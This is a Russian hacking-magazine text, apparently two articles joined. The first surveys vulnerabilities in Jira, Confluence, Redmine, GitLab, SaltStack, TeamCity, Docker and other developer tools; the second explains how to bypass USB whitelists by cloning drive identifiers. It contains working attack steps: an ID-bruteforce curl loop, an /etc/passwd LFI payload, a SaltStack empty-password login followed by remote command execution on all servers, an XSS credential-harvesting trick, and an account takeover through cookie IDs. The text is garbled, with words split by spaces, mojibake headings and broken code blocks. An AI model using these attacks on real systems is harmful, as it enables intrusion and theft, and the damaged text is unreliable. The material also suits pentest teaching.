Один из дос таточ но час то исполь зуемых таких ком понен тов — Agile Board.

Jira Agile Board

Agile — это один из под ходов к раз работ ке, а Jira Agile Board поз воля ет выс- 
тра ивать даш борды для Agile и работать с ними коман дой или нес коль кими
коман дами над раз ными про екта ми. Идея прос тая: есть дос ка, на ней есть
тикеты, мы можем смот реть, ког да и кем они выпол няют ся, какие на них сро- 
ки, какие сприн ты и тому подоб ное.

Зву чит не осо бо инте рес но, но, ког да я начал иссле довать Jira в нашей
ком пании, заметил, что все это дос тупно безо вся кой авто риза ции. То есть
пла гин офи циаль ного раз работ чика живет сво ей жизнью и ни с кем догова- 
ривать ся не обя зан, а в нем содер жится чувс тви тель ная информа ция. Мы
можем прос то прой ти по URL вида 

 и пос мотреть любую дос ку любого про екта.
https://jira.company.hack/secure/

ManageRapidViews.jspa

Прос мотр досок без авто риза ции

IDOR

Здесь даже наш лась уяз вимость типа IDOR — небезо пас ные ссыл ки на объ- 
екты. Она поз воля ет зай ти вооб ще в любой про ект, пос мотреть задачи
и прог ресс их выпол нения, и при этом не важ но, при ват ный это про ект
или пуб личный.

Са мо собой, переби рая параметр в URL, мож но получить вооб ще все дос ки,
которые заведе ны в Jira.

Blind JQL

Еще один доволь но инте рес ный баг — сле пой JQL. Экс плу ати ровать его тоже
мож но без авто риза ции и читать любые тикеты.

В ядре Jira, оче вид но, есть API. Нас инте ресу ют сле дующие адре са:
• https://jira.company.hack/jira/rest/api/2/mypermissions
• https://jira.company.hack/jira/rest/api/2/issue/1
• https://jira.company.hack/jira/rest/api/2/search?
jql=status%3Dopen and description="12345"

Как ты заметил, на эндпой нте поис ка в парамет ре  переда ется зап рос,
но инте рес но не это, а то, что на сущес тву ющие и несущес тву ющие зап росы
выда ются раз ные отве ты. Таким обра зом мож но пол ностью вос ста нав ливать
содер жимое тикетов, исполь зуя те же спо собы, что и при сле пых SQL-инъ- 
екци ях.

jql

От вет не сущес тву ет

{"startAt":0, "maxResults":50, "total":0, "issues":[]}

Для успешно го поис ка сто ит подоб рать поле  в тек сте зап роса. Это целое
чис ло, которое обоз нача ет номер тикета в Jira. Теперь мы можем пол ностью
вос ста нав ливать содер жимое тикета брут форсом поля .

id

description
Од на из проб лем с ID зак люча ется в том, что идут они не по поряд ку.

Для под бора ID мож но исполь зовать такой вот прос той скрипт:

    
 

for $i in $(seq 10000 11000); do curl https://jira.company.hack/rest/
api/2/issue/$i; done;

Ре зуль таты

На скри не ты видишь, что тикеты 10000 и 10001 сущес тву ют, но к ним нет дос- 
тупа, а 10002 не сущес тву ет, зна чит, работать с помощью blind JQL мы можем
толь ко на 10000-м и на 10001-м тикете.

В некото рых слу чаях это может не сра ботать. У Atlassian есть два режима
раз дачи дос тупов: пер сональ ный и груп повой. Груп повой при меня ется сра зу
к целой груп пе раз работ чиков, а пер сональ ный — к одно му кон крет ному. Так
вот, ата ку нель зя вос про извести при уста нов ленном пер сональ ном режиме
дос тупа.

Всег да отда ется оди нако вое сооб щение об ошиб ке

CONFLUENCE

 — это прос транс тво для коман дной работы, осо бен но удоб ное
при уда лен ке. Здесь мож но сов мес тно накап ливать зна ния.
Conuence

Глав ное для нас — то, что здесь при мер но та же исто рия, что с Jira: пер- 
вые две проб лемы (stack trace и управля ющие пор ты) оди нако вые, а об
еще одной я сей час рас ска жу.

На сей раз нас будут инте ресо вать сле дующие URL:
• https://confluence.company.hack/rest/api/space
• https://confluence.company.hack/rest/api/content
• https://confluence.company.hack/rest/api/space/{SPACEKEY}
• https://confluence.company.hack/rest/api/content/{
ContentID}

По нят но, что откры тые space мы можем читать и так, без авто риза ции, так что
кажет ся, буд то ничего инте рес ного тут нет.

На самом деле уяз вимость есть и проб лема край не похожа на blind JQL
из Jira, но тут встро енный язык называ ется CQL — ста ло быть, и герой у нас
blind CQL.

Им пакт у бага такой же — мы можем вос ста нав ливать содер жимое зак- 
рытых спей сов, да и усло вие здесь то же самое: дол жны быть уста нов лены
груп повые пра ва дос тупа, а не инди виду аль ные. Как пра вило, так оно и быва- 
ет в боль ших ком пани ях.

INFO

Не беги рань ше вре мени искать тор чащие
в интернет Jira и Conuence. В недав нем
обновле нии Jira проб лему пофик сили, поэто му
сей час ее мож но встре тить, толь ко если сис тема
уже мно го месяцев не обновля лась. И Conuence
тоже, разуме ется.

REDMINE

Redmine — это еще один популяр ный тре кер задач.

Здесь все выг лядит безопас но, но один неболь шой косяк я таки нашел —
XSS.

Воз ника ет он тог да, ког да мы вмес то ссыл ки встра иваем исполня емый
код, как на скрин шоте.

Спец теги его собс твен ные — вос кли цатель ные зна ки, внут ри которых мы
переда ем ссыл ку, ско боч ки и какую-то наг рузку.

Вро де бы это обыч ная хра нимая XSS: соз даем вре донос ный тикет,
человек откры вает его, попада ется на наш внед ренный код, он у посети теля
отра баты вает.

Ни чего осо бен ного, но есть один инте рес ный момент: с помощью этой шту ки
мож но даже сни фать пароли!

На под кон троль ном нам хос те мы на какой-нибудь PHP-скрипт навеши- 
ваем basic-авто риза цию, и зап рос на эту авто риза цию прог ружа ется
в Redmine уже с нашего зло го ресур са. Век тор доволь но извес тный, но до сих
пор прек расно работа ет.

Че ловек заходит в нашу заряжен ную запись и видит зап рос на авто риза цию,
где его про сят ввес ти логин и пароль. Находясь на Redmine-сер вере ком- 
пании, он без опа сений вво дит учет ные дан ные, и они уле тают к нам на сер- 
вер. На сво ем сер вере мы спо кой но рас кодиру ем из Base64 стро ку —
и получа ем пару логин-пароль поль зовате ля Redmine. Или даже от кор- 
поратив ной учет ки, если исполь зует ся LDAP.

ASANA

Я понимаю, что тебе уже под надо ели вся чес кие таск-тре керы. Но в жиз ни
будет попадать ся не толь ко Jira, но и про дук ты помель че. Знать их уяз вимос ти
не то что бы необ ходимо, но может здо рово облегчить пен тест. А порой он
может закон чить ся, даже не начав шись, ког да ока жет ся, что дырявый тре кер
дает дос туп к самой раз ной информа ции, вклю чая пароли сот рудни ков.
К тому же, хоть эти уяз вимос ти и слож но наз вать типовы ми, изу чая такие баги,
ты можешь здо рово про качать ся.

Итак, еще один рас простра нен ный таск-тре кер — это Asana, и здесь тоже
есть очень инте рес ный момент. Пос мотри, как выг лядят наши куки:

soft_signup_user_id=5166376;
soft_signup_email=hac126%40mail.ru;
xi_ip=97.12.23.123; 
soft_signup_invitation_token=numeric_token-5166375-672796;
gtm_u_id=5166376;
dapulseUserId=5166375;
gtm_u_is_admin=true;
gtm_a_paying_value=0.0;

Оче вид но, что  — это айдиш ник поль зовате ля,
а , соот ветс твен но, элек тро поч та юзе ра. Налицо клас- 
сичес кий обход авто риза ции, а потен циаль но и IDOR!

soft_signup_user_id
soft_signup_email

Зна чит, если мы зна ем, что человек с какой-то поч той зарегис три рован
в этой сис теме (а мы можем это пос мотреть в самой сис теме), мож но переб- 
рать ID юзе ра и попасть в его акка унт.

Что я и сде лал!

HITASK

Тут у нас XSS, но какая! Она находит ся в тегах, так что потен циаль но ее мож но
раз вернуть не толь ко на кон крет ной стра нице, но и вооб ще по все му сай ту.

Ког да соз дает ся тег, он рас простра няет ся по все му сай ту и ста новит ся
дос тупен вез де, то есть поразить этим мож но вооб ще всех поль зовате лей.

Де монс тра ция

На этом дыры, само собой, не кон чают ся: тут еще есть хрес томатий ный LFI,
но с одной инте рес ной осо бен ностью. Зак люча ется она в том, что имя заг- 
ружа емо го фай ла переда ется не в парамет ре скрип та-заг рузчи ка, а в самом
его име ни.

Ра бота ет это так: внут ри сидит скрипт, который пар сит имя перемен ной
из наз вания. Там есть ,  и так далее,
но если туда передать стро ку — он спо кой но про чита ет файл по передан ному
адре су.

prop_act_upload1 prop_act_upload2

prop_act_upload../../../../../../../../etc/passwd%00

Экс плу ата ция очень прос та: соз даем тикет с прик реплен ным фай лом
(attachment), в Burp перех ватыва ем и поп равля ем путь, а в ито ге файл прик- 
репля ется внут ренний. Пос ле это го файл спо кой но ска чива ем и чита ем.

LFI triggered

Продолжение статьи →

mailto:hac126@ya.ru
https://hackerdom.ru/
https://www.atlassian.com/ru/software/confluence


ОПАСНАЯ РАЗРАБОТКА
ИЗУЧАЕМ УЯЗВИМОСТИ В СЕРВИСАХ

ПОСТАВКИ КОДА

ВЗЛОМ  НАЧАЛО СТАТЬИ←

TEAM FOUNDATION SERVER

TFS — это хорошо извес тная раз работ чикам шту ка, которая встро ена в Visual
Studio. Фиш ка тут в том, что у TFS есть воз можность под тягивать сто рон ние
Git-репози тории.

Смот ри вни матель но: мы можем что-то ска чать по ука зан ному адре су от име- 
ни Team Foundation Server. Я прос то переб рал все извес тные при ват ные
адре са (под сеть 192.168.0.0/24, 10.0.0.0/8 и так далее) на пред мет наличия
пап ки  — и нашел один внут ренний репози торий с кодом..git

Та ким обра зом, Team Foundation Server поз воля ет тас кать зак рытый
исходный код из при ват ных под сетей ком паний.

TEAMCITY

TeamCity — это уже про деп лой. Собс твен но, он поз воля ет авто мати чес ки
деп лоить при ложе ния: ког да мы написа ли какой-то код и заком митили, он
уле тает в TeamCity и сам раз верты вает ся на некото ром сер вере. А быва ет
и так, что сра зу выкаты вает ся в прод.

В TeamCity есть такое понятие, как арте факт: это любые изме нения, отправ-
ленные в TeamCity. У плат формы есть стан дар тная учет ка гос тя, с помощью
которой мож но зай ти и почитать откры тые арте фак ты час ти про ектов.

Вся соль в том, что через это го гос тя мы можем тыкать API, через который
отда ется информа ция и о зак рытых про ектах, даже если они недос тупны гос- 
тю. Сре ди про чего через API вид ны build ID, с помощью которых мож но через
тот же API дос тать спи сок всех свя зан ных арте фак тов и пря мые ссыл ки на них.

Даль ше все прос то — про ходим по этим пря мым ссыл кам и ска чива ем арте- 
фак ты. Оста новить взлом щика может толь ко Base64- (basic-) авто риза ция, то
есть никакой модели ролево го дос тупа там нет.

DOCKER

Docker (и LXD) слиш ком популяр ная шту ка, что бы не ска зать о нем хоть пару
слов. На вся кий слу чай напом ню, что это средс тво кон тей нериза ции для раз- 
верты вания при ложе ний в изо лиро ван ной короб ке.

Са мо собой, из Docker при желании мож но сбе жать, и об этом мно го раз
говори лось, но сей час я покажу один популяр ный мис конфиг, который поз- 
воля ет тыкать хост-сис тему даже без выхода из сво его кон тей нера.

Ес ли файл  про киды вает ся на кон тей нер, то через него мы
можем обра щать ся непос редс твен но к Docker API на хос те, то есть штат ным
curl дер гать API и, к при меру, соз давать новые кон тей неры. Проб лема воз- 
ника ет при сле дующей стро ке запус ка:

docker.sock

docker run -v /var/run/docker.sock:/var/run/docker.sock debian ls

Стро ка запус ка curl для вза имо дей ствия с API выг лядит так:

curl  -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/ 

{
: , "type" "async"

: , "status" "Operation created"
"status_code": 100, 

: "metadata" {
 : , "id" "439bf4a1-e056-4b76-86ad-bff06169fce1"
 : , "class" "task"
 : "created_at" "2021-04-18T22:56:22.590239576

А вот и при мер с LXD, но там все то же самое — раз ница толь ко в том, что
Docker API сидит на пор те 2375, а LXD — на 8443, а при обра щении через
Unix-сокет ука зыва ется дру гой путь.

curl  -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/ 

{
: , "type" "async"

: , "status" "Operation created"
"status_code": 100, 

: "metadata" {
 : , "id" "439bf4a1-e056-4b76-86ad-bff06169fce1"
 : , "class" "task"
 : "created_at" "2016-04-18T22:56:22.590239576

GITLAB

Пер вая проб лема — это перех ват исходных кодов из дру гих ран неров.
Как извес тно, эти ран неры работа ют на Docker, что авто мати чес ки рас- 
простра няет уяз вимос ти из прош лого раз дела на ран неры GitLab CI.

Не буду пов торять ся — сра зу перей дем к механиз мам экс плу ата ции,
которые реаль ны, если ты вдруг можешь манипу лиро вать скрип тами в ран- 
нерах.
1. Ска ниру ем свою под сеть на наличие пор та 2375 в поис ках дру гих ран- 

неров. Если это невоз можно — ищем у себя .docker.sock
2. Об раща емся к API и выпол няем свои коман ды в най ден ных кон тей нерах.
3. За бира ем код отту да.

Выг лядит нес ложно!
Пра ва дос тупа в GitLab — это одна боль шая загад ка, потому что снип петы

может читать через API вооб ще кто угод но. Снип петы — это кус ки кода,
которые кто-то оста вил и которые, оче вид но, где-то исполь зуют ся. Почему бы
их не при кар манить?

API рас кры вает и дру гие инте рес ные шту ки. Нап ример, безо вся кой авто- 
риза ции мож но вытянуть метадан ные про ектов (кем и ког да соз даны, опи- 
сания и про чее).

Project API

Ис кать про екты мож но обыч ным wfuzz вот так:

 wfuzz -c -z range,1-10000 --sc=200 https://gitlab.company.hack/api/
v4/projects/FUZZ 

Wfuzz напал на цель

И еще одна фиш ка, чтоб дваж ды не ходить, — GitLab поз воля ет зап росто
перечис лять вооб ще всех сво их поль зовате лей через тот же кри вой API.

https://gitlab.company.hack/api/v4/users/

https://gitlab.company.hack/api/v4/users/2

INFO

Фиш ка до сих пор рабочая — мож но зай ти
на офи циаль ный GitLab и про верить.

И еще кое-что. Мож но зап росить 
, где  — ник иско мого поль зовате ля, и получить

пуб личный ключ юзе ра, если тот нас тро ил эти самые клю чи.

https://gitlab.company.hack/
%username%.keys %username%

К сожале нию, нуж но знать имя поль зовате ля, так что для пол ноцен ного
перечис ления этот спо соб не годит ся.

SALTSTACK

SaltStack — это цен тра лизо ван ная сис тема исполне ния команд на нес коль ких
сер верах.

Ар хитек тура у него при мер но сле дующая: есть мас тер-сер вер и так
называ емые минь оны, на которые мы рас кидыва ем тре буемые коман ды.

В SaltStack есть три спо соба авто риза ции: логин/пароль, plain text (из
фай ла) и LDAP. Нас будет инте ресо вать имен но LDAP-авто риза ция, потому
что мы по леген де находим ся в кор поратив ной сис теме (пен тестим ком- 
панию).

Од нажды я заметил, что, если при вхо де через LDAP передать пус той
пароль, авто риза ция про ходит, а в отве те воз вра щает ся валид ный X-Auth-
Token. Вто рой рам кой на скрин шоте отме чен тот факт, что у нас все раз- 
решения, то есть делать теперь мож но что угод но.

curl  
      

-si POST https://saltstack.company.hack/login -H "Accept: 
application/json" -d username="<LDAP LOGIN>" -d password="" -d eauth=
'ldap'

INFO

Проб лема была переда на раз работ чикам
и исправ лена, а впос ледс твии получи ла иден- 
тифика тор CVE-2018-15751.

Экс плу ати ровать это лег ко, а импакт будет боль шой: ты можешь выпол нять
код на всех минь онах.
1. С помощью access token из начала раз дела получа ем спи сок клю чей

и сер веров:

curl   -i -H 'X-Auth-Token: 694a7dfa16.........cacfcb0d26650d21bd'  
https://saltstack.company.hack/keys 

2. Вы пол няем коман ду на минь онах:

curl      
 

-i -H 'X-Auth-Token: 694a7dfa168........cfcb0d26650d21bd' -H
'Content-type: application/json'  https://<host>/ -d '[{"client":
"local", "tgt":"*", "fun":"cmd.run", "kwarg":{"cmd":"id"}, 
"eauth":"auto"}]'

Я есть root

Как видишь, на некото рых минь онах мы сра зу получи ли рут. Шикар ный плац- 
дарм для даль нейшей ата ки!

SENTRY

Что такое Sentry? Это сис тема цен тра лизо ван ного хра нения оши бок. В нее
под клю чают ся некие про екты, в этих про ектах могут про исхо дить ошиб ки,
а мы можем эти ошиб ки отсле живать в Sentry.

Здесь так же есть гос тевая учет ка, но сде лать с ней ничего не получит ся.

Sentry под гос тем

Но если из-под гос тевой учет ки прой ти по пря мому URL, то мож но выписать
себе новый токен с любыми пра вами.

Клю чи

По токену получа ем клю чи, а с эти ми клю чами потом мож но делать что угод- 
но: читать ошиб ки, пра вить про екта ми и так далее.

ÂÛÂÎÄÛ

Ба ги в про изводс твен ном ПО и пло хие нас трой ки встре чают ся пов семес тно,
и знать наибо лее популяр ные из них край не важ но. Чем боль ше при меров ты
раз берешь — тем боль ше шан сов, что смо жешь сам что-то най ти. Я учил ся
как раз на таких раз борах — зна чит, смо жешь и ты!
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ВЗЛОМ

Что бы взло мать чужую сеть, мож но при менить изощ ренные
высоко тех нологич ные методы, а мож но прос то под бро сить
сот рудни кам инте ресу ющей хакера ком пании флеш ку
с «сюр при зом». В пос ледние годы популяр ность это го спо- 
соба понем ногу пада ет, но он еще встре чает ся 

. А какие сущес тву ют методы защиты от вре донос ных
фле шек и как их мож но обой ти? Сей час раз берем ся!

для про ник- 
новения в тех нологи чес кие сети про мыш ленных пред при- 
ятий

В этой статье мы рас смот рим, как устро ена защита USB (Mass Storage
Class — Removable Media) и как обма нуть сис темы огра ниче ния по белому
спис ку устрой ств с помощью соз дания кло нов. Зву чит инте рес но? Хочешь
натянуть сов ремен ные средс тва защиты? Тог да доб ро пожало вать в мир
увле катель ных экспе римен тов!

ÊÀÊ ÁËÎÊÈÐÓÞÒ ÔËÅØÊÈ

За чем их бло киро вать? Что бы ты не занес в ИТ-инфраструк туру ком пании
вирус-шиф роваль щик, не тас кал информа цию домой и не при носил игрушки
в офис. В раз ных кон торах адми ны и безопас ники дей ству ют по-раз ному.
В самых печаль ных слу чаях пор ты физичес ки отклю чают ся, залива ются эпок- 
сидкой или опе чаты вают ся. В слу чаях поп роще пор ты отклю чают ся через
BIOS/UEFI (что-то вро де USB Controller = Disabled).

Ес ли адми нам  жал ко ломать желез ку, на помощь при ходят нас трой ки
реес тра и груп повые полити ки вин ды. Нап ример, для пол ной бло киров ки
USB-носите лей открой вот эту вет ку реес тра:

лень

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\USBSTOR 

Ес ли ты выс тавишь у парамет ра  зна чение 4, твои флеш ки перес танут
под клю чать ся. В груп повых полити ках ( ) обыч но смот рят в сто- 
рону оснас тки «Кон фигура ции компь юте ра → Адми нис тра тив ные шаб лоны →
Сис тема → Дос туп к съем ным запоми нающим устрой ствам».

Start
gpedit.msc

Рас положе ние на вин де полити ки, свя зан ной со съем ными носите лями

Су щес тву ют ли спо собы более изыс канно и кра сиво огра ничить под клю чение
нежела тель ных носите лей к ком пу? Ком пании побога че исполь зуют допол- 
нитель ные средс тва защиты информа ции (СЗИ) — тот же KAV (и иные анти- 
виру сы), DLP-сис темы, Secret Net (СЗИ от НСД) и про чие. Кто-то даже уста- 
нав лива ет драй вер для про вер ки носите ля по белому спис ку, кто-то про веря- 
ет устрой ство в момент его мон тирова ния.

Нас трой ки СЗИ могут зап ретить под клю чение вооб ще всех устрой ств,
толь ко устрой ств из чер ного спис ка или раз решить под клю чение девай сов
из белого спис ка. На пос леднем вари анте мы с тобой и оста новим ся попод- 
робнее.

À ÊÀÊ ÈÕ ÐÀÇËÈ×ÀÞÒ?

Как отли чить одну флеш ку от дру гой? Понят ное дело, что у фле шек есть про- 
изво дитель, объ ем, дру гие парамет ры... Но обыч но про изво дите ли снаб жают
каж дую флеш ку уни каль ным серий ным номером, про писан ным в ее про шив- 
ке.

Что бы пос мотреть его в вин де, можешь исполь зовать такую коман ду
Windows Management Instrumentation — WMIC (пред варитель но под клю чив
флеш ку):

wmic path win32_usbhub Where (Caption="Запоминающее устройство для 
USB") get DeviceID 

По луча ем при мер но такой вывод коман ды:

DeviceID 
USB\VID_13FE&PID_4200\070867948D560839 

По лучен ный DeviceID содер жит:
 — Vendor ID, иден тифика тор про изво дите ля.  — Kingston

Technology Company Inc.;
• VID 13FE

 — Product ID, иден тифика тор изде лия.  — Platinum USB drive mini;• PID 4200
 — уни каль ный серий ный номер флеш ки .• Serial 070867948D560839

 и  исполь зуют ся опе раци онкой для поис ка дров. Пол ный спи сок мож- 
но пос мотреть, нап ример, .
VID PID

на сай те Linux USB
По DeviceID флеш ка про писы вает ся в реес тре:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USB\VID_13FE&PID_
4200\070867948D560839 

Так же ты можешь получить всю эту информа цию с помощью прог раммы
.USBDeview

При мер вывода прог раммы USBDeview

В некото рых, осо бо изыс канных и нез доровых слу чаях в качес тве иден- 
тифика тора флеш ки при меня ется Volume Serial Number (VSN, он же так
называ емый серий ный номер тома), который мож но получить коман дой 
или .

vol
dir

Вы вод команд vol и dir

По чему исполь зовать VSN (в Linux он называ ется UUID) для иден тифика ции
фле шек — идея не очень? Дело в том, что дан ные мет ки иден тифици руют
логичес кие тома фай ловой сис темы. Что бы изме нить VSN слу чай ным обра- 
зом, дос таточ но отформа тиро вать раз дел. Понят но, что для жес тких дис ков
это про цеду ра срав нитель но ред кая, но флеш ки фор матиру ют доволь но-таки
час то.

Что делать с ноунеймом
Для китай ских noname-фле шек, про изво дите ли которых «кла дут» на соот ветс- 
твие девай са все воз можным рекомен даци ям и стан дартам, такой серий ник
будет менять ся в зависи мос ти от USB-пор та, в который ты под клю чил устрой- 
ство, и, разуме ется, положе ния звезд на небе. Если твою флеш ку безопас- 
ники про пишут в белый спи сок толь ко на одном пор те, то на дру гом ты ее
исполь зовать не смо жешь.

Вот при мер такой флеш ки:

DeviceID=USB\VID_23A9&PID_EF18\6&45CEA456&0&2 

Пер вое, что бро сает ся в гла за, — серий ник содер жит нес коль ко амперсан- 
дов. На самом деле у этой флеш ки нет серий ника вооб ще. Ког да  — вто рой
сим вол серий ного номера, это озна чает, что сис тема каж дый раз при под- 
клю чении генери рует псев досерий ник сама, то есть он динами чес кий. Про- 
верим это, прос то под клю чив флеш ку в дру гой порт:

&

DeviceID USB\VID_23A9&PID_EF18\6&45CEA456&0&1 

Как ты видишь, при изме нении пор та в серий нике меня ется номер это го пор- 
та (  в кон це прев ратилось в ). Так что нуж но или добав лять в спи сок
номер такой флеш ки на всех пор тах, или исполь зовать толь ко выделен ный
порт для ее под клю чения.

&2 &1

В некото рых СЗИ исполь зуют иные свой ства фле шек. Все дос тупные свой- 
ства ты можешь прос мотреть, щел кнув на знач ке флеш ки пра вой кла вишей
мыши и выб рав в кон текс тном меню «Свой ства → Обо рудо вание → Све дения».
В выпада ющем спис ке наибо лее полез ные све дения содер жатся в стро ках
«Понят ное имя», «Путь к экзем пля ру устрой ства» и «Родитель» (тот же
DeviceID).

Свой ства устрой ства → Путь к экзем пля ру устрой ства

У китай ских фле шек эти парамет ры меня ются, как генера тор слу чай ных чисел.
Нап ример, путь к экзем пля ру устрой ства для пер вого и вто рого USB-пор та
выг лядит так:

USBSTOR\DISK&VEN_AI&PROD_MASS_STORAGE&REV_\7&6266D645&0 
USBSTOR\DISK&VEN_AI&PROD_MASS_STORAGE&REV_\7&977ABD2&0 

Для нор маль ной флеш ки здо рово го челове ка дан ный иден тифика тор ста- 
билен:

USBSTOR\DISK&VEN_JETFLASH&PROD_TRANSCEND_8GB&REV_1100\
BBPIX7EB2VMBFI48&0 

Здесь:
 — про изво дитель;• JETFLASH

 — наз вание устрой ства;• TRANSCEND_8GB
 — номер ревизии;• 1100

 — серий ный номер.• BBPIX7EB2VMBFI48

У раз ных фле шек из одной пар тии менять ся будет толь ко серий ник.

ÊÀÊ ÏÀËßÒ?

Да вай пос мотрим, какими спо соба ми адми ны могут выявить, что к сис теме
под клю чили флеш ку. В Windows име ется целый пул средств для отсле жива ния
под клю чаемых носите лей. Если хочешь поковы рять ся сам — смот ри вот эти
две вет ки реес тра:

HKLM\SYSTEM\CurrentControlSet\Enum\USB 
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR 

Там хра нит ся спи сок иден тифика торов под клю чаемых устрой ств, при этом
информа ция в этих вет вях реес тра не затира ется стан дар тны ми про цеду рами
в пла ниров щике задач вин ды, то есть дан ные хра нят ся сколь угод но дол го.

Ес ли ты пред почита ешь готовые решения, то к тво им услу гам клас сичес- 
кий , который в реаль ном вре мени регис три рует под клю чение
и отклю чение флеш ки. В форен зике для ком плексно го ана лиза под клю чений
рекомен дуем пос мотреть в сто рону  и .

USBLogView

USB Detective USB Forensic Tracker
USB Detective извле кает информа цию из реес тра, логов, иных источни ков,

а так же может сни мать информа цию с Live-сис темы (в вер сии Pro), при этом
выпол няя кор реляцию и верифи кацию дан ных.

USB Forensic Tracker извле кает все арте фак ты под клю чений незави симо,
поэто му для каж дого источни ка дан ных ты име ешь свою таб лицу под клю чений
USB-устрой ств (кор реляции, к сожале нию, он не дела ет).

При мер вывода прог раммы USB Forensic Tracker

Нап ример, прос матри вая дан ные по нашей китай ской флеш ке, мы выяс нили,
что ее отоб ража емый серий ник на пер вом пор те — , на вто ром —

. Пос ле фор матиро вания они ста ли  и  соот ветс- 
твен но.

388e987
3с69e2с9 4247e754 966cde2

Во внеш них СЗИ име ются фун кции прос мотра и бло киро вания под клю чен- 
ных фле шек в реаль ном вре мени или на осно ве ранее под клю чен ных устрой- 
ств.

ÏÐÀÊÒÈ×ÅÑÊÈÉ ÏÎÄÕÎÄ Ê ÑÁÈÒÈÞ ÏÀÐÀÌÅÒÐÎÂ ÔËÅØÅÊ

×àñòü 1. VSN (UUID)

Ес ли тебе повез ло и в тво ей орга низа ции бло киру ют флеш ки через
VSN/UUID, то сущес тву ет мас са год ных вари антов. Все пред став ленные ниже
кей сы не изме няют основные парамет ры флеш ки, такие как серий ный номер
и информа ция о модели. Одна ко пом ни, что иног да VSN при меня ется
при лицен зирова нии ПО и изме нение VSN может пов лиять на его работос-
пособ ность. Зато, научив шись менять VSN, ты смо жешь давать вто рую жизнь
лицен зион ным про гам, которые жалу ются на сме ну жес тких дис ков и не хотят
работать.

WARNING

Ма нипу ляции пред став лены для демонс тра ции.
При меняя их, будь осто рожен и вни мате лен, пос- 
коль ку при некор рек тном под боре команд, прог- 
рамм, про шивок ты рис куешь окир пичить флеш- 
ку, за что мы, конеч но, ответс твен ности не несем.
Не сто ит упо минать, что на тес тиру емых флеш ках
не сле дует дер жать цен ную инфу.

Âàðèàíò 1. Ôîðìàòèðîâàíèå

Дан ный вари ант исполь зует ся, ког да акти вен толь ко чер ный спи сок фле шек,
пос коль ку фор матиро вание меня ет иден тифика тор раз дела. Одна ко задать
кон крет ный иден тифика тор в дан ном слу чае не получит ся.

Нап ример, флеш ка с FAT32 до фор матиро вания име ет VSN ,
а пос ле быс тро го фор матиро вания — . Для NTFS ситу ация в целом
ана логич на.

4652-F858
76DA-6C78

Как ты видишь, вари ант пре дель но прос той, но совер шенно некон тро- 
лиру емый. Это нам как-то не очень под ходит, поп робу ем менять парамет ры
на избран ные нами зна чения.

Âàðèàíò 2. Ñìåíà VSN ÷åðåç óòèëèòû

Су щес тву ют готовые ути литы для сме ны VSN, нап ример  от ком пании
Sysinternals или более при ятная на вид гра фичес кая ути лита 

. Во вто ром слу чае нуж но прос то запус тить ути литу, выб рать
мет ку дис ка, вбить новый иден тифика тор, нажать Change Serial number,
вынуть-вста вить флеш ку, и все готово.

VolumeID
Volume Serial

Number Changer

Ра бота с ути литой Volume Serial Number Changer и ее резуль тат

Âàðèàíò 3. Ñäåëàé ñàì

Ты хочешь пол ностью поз нать дзен фле шек? Не воп рос. Пред варитель но
опре делись с фай ловой сис темой. Открой любой HEX-редак тор и перета щи
туда зна чок флеш ки из про вод ника. Для FAT32 VSN находит ся по сме щению

, для NTFS — на .0x43 0x48
Про верим это.

Ис ходный VSN устрой ства с фай ловой сис темой NTFS

На шел ся серий ник . Что ж, испра вим его и сох раним резуль тат.
Пом ни, что порядок чте ния бай тов — спра ва налево (little endian).

6666-6666

Из менен ный VSN устрой ства с фай ловой сис темой NTFS

Для FAT32 ситу ация пол ностью ана логич на.

Из менен ный VSN устрой ства с фай ловой сис темой FAT

Итак, теперь ты уме ешь менять VSN (UUID). Но для по-нас тояще му серь езных
вещей и соз дания поч ти пол ноцен ного кло на нуж но еще нем ного углу бить ся
в тему.

×àñòü 2. VID, PID, Serial

Что бы менять мак сималь ное количес тво парамет ров, тре бует ся переп рошить
кон трол лер флеш ки. Про цеду ра эта срав нитель но нес ложная, но опас ная —
в слу чае ошиб ки ты рис куешь сде лать флеш ку нерабо тос пособ ной (одна ко
ошиб ка чаще все го воз ника ет при неудач ном выборе про шив ки или про- 
шиваль щика).

Пред ста вим, что у тебя есть исправ ная флеш ка (которая работа ет в офи се
без проб лем), а так же ты при обрел дру гую флеш ку — потен циаль ный клон.
Если ты купишь флеш ку точ но той же модели, то при некото рых обсто ятель- 
ствах смо жешь обой ти СЗИ, в которых идет про вер ка толь ко по VID и PID.

На прак тике луч ше най ти флеш ки, которые лег че все го переп рошивать,
нап ример фир мы Silicon Power или Transcend с USB 3.0 — в них час то исполь- 
зует ся SMI-кон трол лер. Хотя в целом тебе могут попасть ся флеш ки с кон- 
трол лерами AlcorMP, Phison и дру гие. Для них тоже есть про шив ки.

Об щий алго ритм про шив ки девай са сле дующий:
1. Вы ясни тип иден тифика тора, который исполь зует ся для опре деле ния

флеш ки в СЗИ, или исполь зуемые сос тавля ющие на осно ве дан ных флеш- 
ки (опци ональ но), запиши их для пос леду ющей под делки.

2. Оп редели кон трол лер флеш ки.
3. Под бери ути литу для про шив ки, под ходящую под кон крет ную вер сию кон- 

трол лера.
4. В про шиваль щике задай необ ходимые парамет ры, иден тичные ори гиналь- 

ной флеш ке.
5. Про шей флеш ку-клон и про верь ее работу. В слу чае неудач ной про шив- 

ки — пов тори шаги, начиная со вто рого. Если флеш ка окир пичилась, пос- 
тупай ана логич но.

 Так слу чилось, что на пер вой про тес тирован ной нами машине сто ял
анти вирус Comodo с воз можностью кон тро ля устрой ств. Недол го думая,
вклю чаем бло киров ку для USB и добав ляем флеш ку-ори гинал в исклю чение.
Анти вирь любез но показы вает нам исполь зуемый иден тифика тор флеш ки.

Øàã 1.

Кон троль устрой ств анти виру са Comodo

В свой ствах обо рудо вания находим, что эта стро ка соот ветс тву ет опции
«Путь к экзем пля ру устрой ства». Запишем иден тифика тор как целевое зна- 
чение, которо му наша флеш ка-фейк дол жна соот ветс тво вать:

USBSTOR\DISK&VEN_&PROD_USB_DISK_2.0&REV_PMAP\070867948D560839&0 

На вся кий слу чай запом ним и DeviceID:

USB\VID_13FE&PID_4200\070867948D560839 

Бы вает, СЗИ нап рямую не показы вают иден тифика тор (уга дай почему),
а опре деля ют толь ко некото рые свой ства под клю чен ного устрой ства. В таких
слу чаях иден тифика тор обыч но скла дыва ется из видимых полей и свой ств.
